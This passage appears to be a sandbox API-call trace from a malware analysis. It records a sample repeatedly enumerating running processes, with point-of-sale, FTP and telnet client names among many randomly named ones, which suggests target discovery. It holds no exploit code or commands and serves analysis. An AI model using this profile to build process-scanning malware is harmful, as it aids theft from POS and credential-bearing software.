lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0111.851] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0111.889] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0111.892] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0111.896] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0111.899] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0111.905] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0111.908] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0111.910] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0111.913] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0111.916] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.919] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0111.921] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0111.924] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0111.928] CloseHandle (hObject=0x20d4) returned 1 [0111.928] Sleep (dwMilliseconds=0x64) [0112.030] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e9c [0112.047] Process32First (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0112.050] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0112.053] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0112.056] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0112.059] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0112.061] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0112.064] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0112.067] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0112.070] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0112.073] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.076] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.079] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0112.081] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.084] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.087] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.091] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.093] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.096] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.122] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.125] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0112.127] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.130] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0112.138] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0112.140] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.142] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0112.144] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0112.146] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0112.149] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0112.152] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0112.154] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0112.157] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0112.159] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.162] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0112.168] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0112.171] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0112.174] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0112.176] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0112.179] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.182] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0112.185] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0112.188] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0112.190] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0112.193] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0112.196] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0112.198] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0112.201] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0112.203] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0112.206] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0112.209] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0112.211] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0112.213] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0112.216] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0112.218] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0112.221] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0112.223] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0112.226] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0112.258] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0112.261] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0112.265] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0112.268] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0112.272] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0112.275] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0112.279] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0112.282] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0112.285] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0112.289] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0112.292] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0112.298] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0112.302] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, 